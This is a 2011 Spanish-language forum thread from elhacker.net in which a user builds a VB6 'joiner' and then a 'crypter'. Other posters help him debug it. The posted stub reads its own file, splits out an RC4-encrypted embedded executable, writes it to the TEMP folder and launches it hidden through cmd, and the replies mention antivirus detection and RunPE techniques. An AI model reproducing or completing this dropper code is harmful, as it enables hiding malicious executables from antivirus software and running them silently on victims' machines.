Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: mastercss en 27 Septiembre 2011, 07:15 AM

Título: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: mastercss en 27 Septiembre 2011, 07:15 AM
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    With pp
        .DialogTitle = "Elige el primer archivo"
        .Filter = "Ejecutables|*.exe"
        .ShowOpen
    End With
arcUno.Text = pp.FileName
End Sub

Private Sub Command2_Click()
    With pp
        .DialogTitle = "Elige el segundo archivo"
        .Filter = "Todo tipo de archivos|*"
        .ShowOpen
    End With
arcDos.Text = pp.FileName
End Sub

Private Sub Command3_Click()
Dim Data() As Byte
Dim DataLon As Long
Open arcUno For Binary Lock Read As 1
Open arcDos For Binary Lock Read As 2
Open byteRes For Binary Access Write As 3
DataLon = FileLen(arcUno) + Len(arcDos)
ReDim Data(DataLon) As Byte
Get #1, , Data
Get #2, , Data
Put #3, , Hex(Data(DataLon))
Close
End Sub
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: x64core en 27 Septiembre 2011, 07:41 AM
un joiner  ;D
generalmente se hace un split a las cadenas o bytes que has de dejar una marca para separarlos
aunque como me ah dicho Karcrack eso es vergonzoso y es verdad ;D y tambien
porque me ah dicho que los AVs detectan rapido los archivos "pegados"
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: Elemental Code en 27 Septiembre 2011, 17:45 PM
para juntar un exe y una imagen es necesario un tercer pedacito de programa llamado stub.

Se encarga de buscar en su propio codigo las dos partes y ejecutarlas.
Existen con RUNPE y de extraccion.
Busca en google :D
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: mastercss en 28 Septiembre 2011, 17:29 PM
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range.

A continuación pongo el code de mi stub.

Código (vb) [Seleccionar]
Option Explicit
Sub Main()
Dim Yo As String, Datos As String, sData() As String
Yo = App.Path & "\" & App.EXEName & ".exe"

Open Yo For Binary As #1
   Datos = Space(LOF(1))
   Get #1, , Datos
Close #1

sData() = Split(Datos, "%%##%%")

sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Open Environ("TEMP") & "\tmp.exe" For Binary As #1
   Put #1, , sData(1)
Close #1

Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide

End Sub
Private Function RC4(ByVal expresion As String, ByVal password As String) As String
   Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
   Dim key() As Byte, byteArray() As Byte
   Dim i2 As Long
   
   key() = StrConv(password, vbFromUnicode)
   For i = 0 To 255
       s(i) = i
       k(i) = key(i Mod Len(password))
   Next i
   For i = 0 To 255
       j = (j + s(i) + k(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
   Next i
   byteArray() = StrConv(expresion, vbFromUnicode)
   i = 0
   j = 0
   For i2 = 0 To Len(expresion) - 1
       i = (i + 1) Mod 256
       j = (j + s(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
       t = (s(i) + s(j)) Mod 256
       byteArray(i2) = byteArray(i2) Xor s(t)
   Next i2
   RC4 = StrConv(byteArray, vbUnicode)
End Function



Gracias por adelantado
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: ignorantev1.1 en 28 Septiembre 2011, 20:42 PM
Emmmm probablemente solo resulte un array con un elemento "sData(0)", ya sea porque en el archivo que tratas de abrir no está colocada dicha "firma":

Código (vb) [Seleccionar]
sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Antes de la linea de arriba prueba poniendo:

Código (vb) [Seleccionar]
Msgbox ubound(sData)

Y nos cuentas lo que resultó.

Saludos!
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: mastercss en 29 Septiembre 2011, 04:38 AM
Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.
Título: Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
Publicado por: Elemental Code en 30 Septiembre 2011, 03:37 AM
pone en otra variable el dato descifrado.

Código (vb) [Seleccionar]
sOrig = RC4(sData(1), "ma5t3r")